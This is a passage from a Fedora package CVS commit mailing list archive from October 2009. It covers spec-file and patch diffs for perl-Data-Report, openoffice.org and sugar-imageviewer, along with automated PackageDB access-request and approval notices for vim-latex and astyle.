 License:	GPL+ or Artistic
 URL:		http://search.cpan.org/dist/Data-Report/
 Source0:	http://search.cpan.org/CPAN/authors/id/JV/Data-Report-%{version}.tar.gz
-Patch0:		%{name}-%{version}-csv.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
-Requires:	perl(Text::CSV_XS)
+Requires:	perl(Text::CSV)
 
 BuildArch:	noarch
 
@@ -18,7 +17,7 @@ BuildRequires:	perl(Module::Build)
 
 # For test suite
 BuildRequires:	perl(Test::More)
-BuildRequires:	perl(Text::CSV_XS)
+BuildRequires:	perl(Text::CSV)
 
 %description
 Data::Report is a framework for report generation.
@@ -31,9 +30,6 @@ style sheets.
 %prep
 %setup -q -n Data-Report-%{version}
 
-# Fix requirement for Text::CSV. Use Text::CSV_XS instead.
-%patch0 -p0 -b .csv
-
 %build
 %{__perl} Build.PL --installdirs=vendor
 ./Build
@@ -57,8 +53,10 @@ style sheets.
 %{perl_vendorlib}/*
 %{_mandir}/man3/*.3*
 
-
 %changelog
+* Sun Oct 11 2009 Johan Vromans <jvromans at squirrel.nl> 0.10-3
+- Remove Text::CSV_XS kludge now Text::CVS is packaged as well.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- perl-Data-Report-0.10-csv.patch DELETED ---



From sciurius at fedoraproject.org  Sun Oct 11 10:25:38 2009
From: sciurius at fedoraproject.org (Johan Vromans)
Date: Sun, 11 Oct 2009 10:25:38 +0000 (UTC)
Subject: rpms/perl-Data-Report/F-12 perl-Data-Report.spec, 1.2,
	1.3 perl-Data-Report-0.10-csv.patch, 1.1, NONE
Message-ID: <20091011102538.7241B11C00EC@cvs1.fedora.phx.redhat.com>

Author: sciurius

Update of /cvs/pkgs/rpms/perl-Data-Report/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20912/F-12

Modified Files:
	perl-Data-Report.spec 
Removed Files:
	perl-Data-Report-0.10-csv.patch 
Log Message:
Remove Text::CSV_XS kludge since Text::CSV is now packaged.



Index: perl-Data-Report.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Data-Report/F-12/perl-Data-Report.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Data-Report.spec	26 Jul 2009 05:30:25 -0000	1.2
+++ perl-Data-Report.spec	11 Oct 2009 10:25:38 -0000	1.3
@@ -1,16 +1,15 @@
 Name:		perl-Data-Report
 Version:	0.10
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A flexible plugin-driven reporting framework
 
 Group:		Development/Libraries
 License:	GPL+ or Artistic
 URL:		http://search.cpan.org/dist/Data-Report/
 Source0:	http://search.cpan.org/CPAN/authors/id/JV/Data-Report-%{version}.tar.gz
-Patch0:		%{name}-%{version}-csv.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
-Requires:	perl(Text::CSV_XS)
+Requires:	perl(Text::CSV)
 
 BuildArch:	noarch
 
@@ -18,7 +17,7 @@ BuildRequires:	perl(Module::Build)
 
 # For test suite
 BuildRequires:	perl(Test::More)
-BuildRequires:	perl(Text::CSV_XS)
+BuildRequires:	perl(Text::CSV)
 
 %description
 Data::Report is a framework for report generation.
@@ -31,9 +30,6 @@ style sheets.
 %prep
 %setup -q -n Data-Report-%{version}
 
-# Fix requirement for Text::CSV. Use Text::CSV_XS instead.
-%patch0 -p0 -b .csv
-
 %build
 %{__perl} Build.PL --installdirs=vendor
 ./Build
@@ -57,8 +53,10 @@ style sheets.
 %{perl_vendorlib}/*
 %{_mandir}/man3/*.3*
 
-
 %changelog
+* Sun Oct 11 2009 Johan Vromans <jvromans at squirrel.nl> 0.10-3
+- Remove Text::CSV_XS kludge now Text::CVS is packaged as well.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- perl-Data-Report-0.10-csv.patch DELETED ---



From sciurius at fedoraproject.org  Sun Oct 11 10:25:38 2009
From: sciurius at fedoraproject.org (Johan Vromans)
Date: Sun, 11 Oct 2009 10:25:38 +0000 (UTC)
Subject: rpms/perl-Data-Report/F-11 perl-Data-Report.spec, 1.1,
	1.2 perl-Data-Report-0.10-csv.patch, 1.1, NONE
Message-ID: <20091011102538.CD9B711C00EC@cvs1.fedora.phx.redhat.com>

Author: sciurius

Update of /cvs/pkgs/rpms/perl-Data-Report/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20912/F-11

Modified Files:
	perl-Data-Report.spec 
Removed Files:
	perl-Data-Report-0.10-csv.patch 
Log Message:
Remove Text::CSV_XS kludge since Text::CSV is now packaged.



Index: perl-Data-Report.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Data-Report/F-11/perl-Data-Report.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- perl-Data-Report.spec	27 Apr 2009 09:24:52 -0000	1.1
+++ perl-Data-Report.spec	11 Oct 2009 10:25:38 -0000	1.2
@@ -1,16 +1,15 @@
 Name:		perl-Data-Report
 Version:	0.10
-Release:	1%{?dist}
+Release:	3%{?dist}
 Summary:	A flexible plugin-driven reporting framework
 
 Group:		Development/Libraries
 License:	GPL+ or Artistic
 URL:		http://search.cpan.org/dist/Data-Report/
 Source0:	http://search.cpan.org/CPAN/authors/id/JV/Data-Report-%{version}.tar.gz
-Patch0:		%{name}-%{version}-csv.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
-Requires:	perl(Text::CSV_XS)
+Requires:	perl(Text::CSV)
 
 BuildArch:	noarch
 
@@ -18,7 +17,7 @@ BuildRequires:	perl(Module::Build)
 
 # For test suite
 BuildRequires:	perl(Test::More)
-BuildRequires:	perl(Text::CSV_XS)
+BuildRequires:	perl(Text::CSV)
 
 %description
 Data::Report is a framework for report generation.
@@ -31,9 +30,6 @@ style sheets.
 %prep
 %setup -q -n Data-Report-%{version}
 
-# Fix requirement for Text::CSV. Use Text::CSV_XS instead.
-%patch0 -p0 -b .csv
-
 %build
 %{__perl} Build.PL --installdirs=vendor
 ./Build
@@ -57,7 +53,12 @@ style sheets.
 %{perl_vendorlib}/*
 %{_mandir}/man3/*.3*
 
-
 %changelog
+* Sun Oct 11 2009 Johan Vromans <jvromans at squirrel.nl> 0.10-3
+- Remove Text::CSV_XS kludge now Text::CVS is packaged as well.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jan 30 2009 Johan Vromans <jvromans at squirrel.nl> 0.10-1
 - Initial Fedora RPM version


--- perl-Data-Report-0.10-csv.patch DELETED ---



From sciurius at fedoraproject.org  Sun Oct 11 10:25:39 2009
From: sciurius at fedoraproject.org (Johan Vromans)
Date: Sun, 11 Oct 2009 10:25:39 +0000 (UTC)
Subject: rpms/perl-Data-Report/F-10 perl-Data-Report.spec, 1.1,
	1.2 perl-Data-Report-0.10-csv.patch, 1.1, NONE
Message-ID: <20091011102539.36C1511C00EC@cvs1.fedora.phx.redhat.com>

Author: sciurius

Update of /cvs/pkgs/rpms/perl-Data-Report/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20912/F-10

Modified Files:
	perl-Data-Report.spec 
Removed Files:
	perl-Data-Report-0.10-csv.patch 
Log Message:
Remove Text::CSV_XS kludge since Text::CSV is now packaged.



Index: perl-Data-Report.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Data-Report/F-10/perl-Data-Report.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- perl-Data-Report.spec	27 Apr 2009 09:32:49 -0000	1.1
+++ perl-Data-Report.spec	11 Oct 2009 10:25:38 -0000	1.2
@@ -1,16 +1,15 @@
 Name:		perl-Data-Report
 Version:	0.10
-Release:	1%{?dist}
+Release:	3%{?dist}
 Summary:	A flexible plugin-driven reporting framework
 
 Group:		Development/Libraries
 License:	GPL+ or Artistic
 URL:		http://search.cpan.org/dist/Data-Report/
 Source0:	http://search.cpan.org/CPAN/authors/id/JV/Data-Report-%{version}.tar.gz
-Patch0:		%{name}-%{version}-csv.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
-Requires:	perl(Text::CSV_XS)
+Requires:	perl(Text::CSV)
 
 BuildArch:	noarch
 
@@ -18,7 +17,7 @@ BuildRequires:	perl(Module::Build)
 
 # For test suite
 BuildRequires:	perl(Test::More)
-BuildRequires:	perl(Text::CSV_XS)
+BuildRequires:	perl(Text::CSV)
 
 %description
 Data::Report is a framework for report generation.
@@ -31,9 +30,6 @@ style sheets.
 %prep
 %setup -q -n Data-Report-%{version}
 
-# Fix requirement for Text::CSV. Use Text::CSV_XS instead.
-%patch0 -p0 -b .csv
-
 %build
 %{__perl} Build.PL --installdirs=vendor
 ./Build
@@ -57,7 +53,12 @@ style sheets.
 %{perl_vendorlib}/*
 %{_mandir}/man3/*.3*
 
-
 %changelog
+* Sun Oct 11 2009 Johan Vromans <jvromans at squirrel.nl> 0.10-3
+- Remove Text::CSV_XS kludge now Text::CVS is packaged as well.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jan 30 2009 Johan Vromans <jvromans at squirrel.nl> 0.10-1
 - Initial Fedora RPM version


--- perl-Data-Report-0.10-csv.patch DELETED ---



From caolanm at fedoraproject.org  Sun Oct 11 11:51:46 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sun, 11 Oct 2009 11:51:46 +0000 (UTC)
Subject: rpms/openoffice.org/devel sources,1.375,1.376
Message-ID: <20091011115146.A795811C00EC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13309

Modified Files:
	sources 
Log Message:
fix sources


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/sources,v
retrieving revision 1.375
retrieving revision 1.376
diff -u -p -r1.375 -r1.376
--- sources	9 Oct 2009 11:07:50 -0000	1.375
+++ sources	11 Oct 2009 11:51:45 -0000	1.376
@@ -6,4 +6,4 @@ f0cda31fe18bf9289629a321663031b8  redhat
 ffa417a9556cdb16028c83718d758bc7  redhat-langpacks.tar.gz
 39a2c59cfae4019eda4a63f414c0aa54  redhat-registry.tar.gz
 6c28507e29056a3afb4baffdadab8499  openoffice.org-javafilter.desktop
-27061b26c08f55e9372853ebc28be2f9  OOO320_m1.tar.bz2
+fc7941d6d9f055698310596e51563ccf  OOO320_m1.tar.bz2



From caolanm at fedoraproject.org  Sun Oct 11 11:52:10 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sun, 11 Oct 2009 11:52:10 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch, 1.2, 1.3
Message-ID: <20091011115210.4465011C00EC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13527

Modified Files:
	openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch 
Log Message:
fix openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch

openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch:
 frmcrsr.cxx |   32 +++++++++++++++++++++++++++++++-
 1 file changed, 31 insertions(+), 1 deletion(-)

Index: openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch	8 Jan 2008 14:51:51 -0000	1.2
+++ openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch	11 Oct 2009 11:52:10 -0000	1.3
@@ -5,7 +5,7 @@ retrieving revision 1.42
 diff -u -r1.42 frmcrsr.cxx
 --- openoffice.org.orig/sw/source/core/text/frmcrsr.cxx	16 Sep 2006 21:33:39 -0000	1.42
 +++ openoffice.org/sw/source/core/text/frmcrsr.cxx	5 Feb 2007 13:42:51 -0000
-@@ -83,6 +83,10 @@
+@@ -60,6 +60,10 @@
  #include "swfntcch.hxx"		// SwFontAccess
  #include "flyfrm.hxx"
  
@@ -16,7 +16,7 @@ diff -u -r1.42 frmcrsr.cxx
  #if OSL_DEBUG_LEVEL > 1
  #include "txtpaint.hxx"
  #endif
-@@ -309,7 +313,33 @@
+@@ -289,7 +293,33 @@
              nMaxY = pFrm->SwitchVerticalToHorizontal( nMaxY );
  
          sal_Bool bGoOn = sal_True;
@@ -26,17 +26,17 @@ diff -u -r1.42 frmcrsr.cxx
 +        // #i74188 Ensure that the cursor is not drawn inside a combined char
 +        const SwTxtNode* pTxtNd = ((const SwTxtFrm*)this)->GetTxtNode();
 +        if( pTxtNd && ::com::sun::star::i18n::ScriptType::COMPLEX == 
-+            pBreakIt->xBreak->getScriptType( pTxtNd->GetTxt(), nOffset ) )
++            pBreakIt->GetBreakIter()->getScriptType( pTxtNd->GetTxt(), nOffset ) )
 +        {
 +            sal_Int32 nCount = 1;
 +            const ::com::sun::star::lang::Locale &rLocale = 
 +                pBreakIt->GetLocale( pTxtNd->GetLang( nOffset ) );
-+            xub_StrLen nRight = (xub_StrLen)pBreakIt->xBreak->nextCharacters( 
++            xub_StrLen nRight = (xub_StrLen)pBreakIt->GetBreakIter()->nextCharacters( 
 +                pTxtNd->GetTxt(), nOffset, rLocale,
 +                ::com::sun::star::i18n::CharacterIteratorMode::SKIPCELL, 
 +                nCount, nCount );
 +
-+            xub_StrLen nLeft = (xub_StrLen)pBreakIt->xBreak->previousCharacters(
++            xub_StrLen nLeft = (xub_StrLen)pBreakIt->GetBreakIter()->previousCharacters(
 +                pTxtNd->GetTxt(), nRight, rLocale, 
 +                ::com::sun::star::i18n::CharacterIteratorMode::SKIPCELL, 
 +                nCount, nCount );



From pkgdb at fedoraproject.org  Sun Oct 11 12:04:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:04:41 +0000
Subject: [pkgdb] vim-latex: tomspur has requested watchbugzilla
Message-ID: <20091011120441.15F6B10F87E@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchbugzilla acl on vim-latex (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:04:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:04:46 +0000
Subject: [pkgdb] vim-latex: tomspur has requested watchcommits
Message-ID: <20091011120446.E0F0710F87F@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchcommits acl on vim-latex (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:04:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:04:49 +0000
Subject: [pkgdb] vim-latex: tomspur has requested commit
Message-ID: <20091011120449.EC7AA10F889@bastion2.fedora.phx.redhat.com>

tomspur has requested the commit acl on vim-latex (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:05:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:05:43 +0000
Subject: [pkgdb] vim-latex: tomspur has requested watchbugzilla
Message-ID: <20091011120543.279CA10F87E@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchbugzilla acl on vim-latex (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:05:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:05:44 +0000
Subject: [pkgdb] vim-latex: tomspur has requested watchcommits
Message-ID: <20091011120544.C33FA10F889@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchcommits acl on vim-latex (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:05:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:05:46 +0000
Subject: [pkgdb] vim-latex: tomspur has requested commit
Message-ID: <20091011120546.3271910F8A4@bastion2.fedora.phx.redhat.com>

tomspur has requested the commit acl on vim-latex (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:06:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:06:18 +0000
Subject: [pkgdb] vim-latex: tomspur has requested watchbugzilla
Message-ID: <20091011120618.2D4FD10F882@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchbugzilla acl on vim-latex (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:06:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:06:18 +0000
Subject: [pkgdb] vim-latex: tomspur has requested commit
Message-ID: <20091011120618.BBEA810F8A8@bastion2.fedora.phx.redhat.com>

tomspur has requested the commit acl on vim-latex (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:06:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:06:24 +0000
Subject: [pkgdb] vim-latex: tomspur has requested watchcommits
Message-ID: <20091011120624.D1DA010F87F@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchcommits acl on vim-latex (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:24:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:24:52 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122452.EFBB110F889@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchcommits acl on vim-latex (Fedora devel) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:24:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:24:51 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122451.D374B10F87E@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchbugzilla acl on vim-latex (Fedora devel) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:24:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:24:54 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122454.78F7010F8A4@bastion2.fedora.phx.redhat.com>

jussilehtola has set the commit acl on vim-latex (Fedora devel) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:02 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122502.1C41710F87E@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchbugzilla acl on vim-latex (Fedora 12) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:02 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122502.8E46610F889@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchcommits acl on vim-latex (Fedora 12) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:03 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122503.3651D10F8A8@bastion2.fedora.phx.redhat.com>

jussilehtola has set the commit acl on vim-latex (Fedora 12) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:07 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122508.06A4C10F87E@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchcommits acl on vim-latex (Fedora 11) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:07 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122508.1BB0110F8A3@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchbugzilla acl on vim-latex (Fedora 11) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:08 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091011122508.7283110F8AC@bastion2.fedora.phx.redhat.com>

jussilehtola has set the commit acl on vim-latex (Fedora 11) to Approved for tomspur

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:11 +0000
Subject: [pkgdb] astyle: tomspur has requested watchbugzilla
Message-ID: <20091011122511.85CEA10F8A4@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchbugzilla acl on astyle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:13 +0000
Subject: [pkgdb] astyle: tomspur has requested watchcommits
Message-ID: <20091011122513.52CD010F882@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchcommits acl on astyle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:15 +0000
Subject: [pkgdb] astyle: tomspur has requested commit
Message-ID: <20091011122516.3604E10F8B5@bastion2.fedora.phx.redhat.com>

tomspur has requested the commit acl on astyle (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:22 +0000
Subject: [pkgdb] astyle: tomspur has requested watchbugzilla
Message-ID: <20091011122522.C35CB10F87E@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchbugzilla acl on astyle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:24 +0000
Subject: [pkgdb] astyle: tomspur has requested watchcommits
Message-ID: <20091011122524.894E410F889@bastion2.fedora.phx.redhat.com>

tomspur has requested the watchcommits acl on astyle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Sun Oct 11 12:25:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 12:25:25 +0000
Subject: [pkgdb] astyle: tomspur has requested commit
Message-ID: <20091011122526.0A17010F8A4@bastion2.fedora.phx.redhat.com>

tomspur has requested the commit acl on astyle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/astyle



From sdz at fedoraproject.org  Sun Oct 11 13:22:52 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sun, 11 Oct 2009 13:22:52 +0000 (UTC)
Subject: rpms/sugar-imageviewer/devel .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 sugar-imageviewer.spec, 1.10, 1.11
Message-ID: <20091011132252.723E611C00EC@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-imageviewer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2231

Modified Files:
	.cvsignore sources sugar-imageviewer.spec 
Log Message:
Updated Vietnamese translation



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	27 Sep 2009 17:45:00 -0000	1.6
+++ .cvsignore	11 Oct 2009 13:22:51 -0000	1.7
@@ -1 +1 @@
-ImageViewer-13.tar.bz2
+ImageViewer-14.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	27 Sep 2009 17:45:00 -0000	1.6
+++ sources	11 Oct 2009 13:22:51 -0000	1.7
@@ -1 +1 @@
-e98e2e7124f6fd104432852f65a5c65b  ImageViewer-13.tar.bz2
+16cdf1cf200d34b63fbfa93c99dce91e  ImageViewer-14.tar.bz2


Index: sugar-imageviewer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/devel/sugar-imageviewer.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sugar-imageviewer.spec	27 Sep 2009 17:45:00 -0000	1.10
+++ sugar-imageviewer.spec	11 Oct 2009 13:22:51 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           sugar-imageviewer
-Version:        13
+Version:        14
 Release:        1%{?dist}
 Summary:        Simple Image viewer for Sugar
 
@@ -45,6 +45,9 @@ rm -rf  %{buildroot}
 
 
 %changelog
+* Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 14-1
+- Updated Vietnamese translation
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 13-1
 - Updated translations for German, Portuguese and Mongolian
 



From sdz at fedoraproject.org  Sun Oct 11 13:23:48 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sun, 11 Oct 2009 13:23:48 +0000 (UTC)
Subject: rpms/sugar-imageviewer/F-12 .cvsignore, 1.6, 1.7 sources, 1.6,
	1.7 sugar-imageviewer.spec, 1.10, 1.11
Message-ID: <20091011132348.0A99011C00EC@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-imageviewer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2537

Modified Files:
	.cvsignore sources sugar-imageviewer.spec 
Log Message:
Updated Vietnamese translation



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	27 Sep 2009 17:45:00 -0000	1.6
+++ .cvsignore	11 Oct 2009 13:23:47 -0000	1.7
@@ -1 +1 @@
-ImageViewer-13.tar.bz2
+ImageViewer-14.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	27 Sep 2009 17:45:00 -0000	1.6
+++ sources	11 Oct 2009 13:23:47 -0000	1.7
@@ -1 +1 @@
-e98e2e7124f6fd104432852f65a5c65b  ImageViewer-13.tar.bz2
+16cdf1cf200d34b63fbfa93c99dce91e  ImageViewer-14.tar.bz2


Index: sugar-imageviewer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/F-12/sugar-imageviewer.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sugar-imageviewer.spec	27 Sep 2009 17:45:00 -0000	1.10
+++ sugar-imageviewer.spec	11 Oct 2009 13:23:47 -0000	1.11
@@ -1,5 +1,5 @@
 Name:           sugar-imageviewer
-Version:        13
+Version:        14
 Release:        1%{?dist}
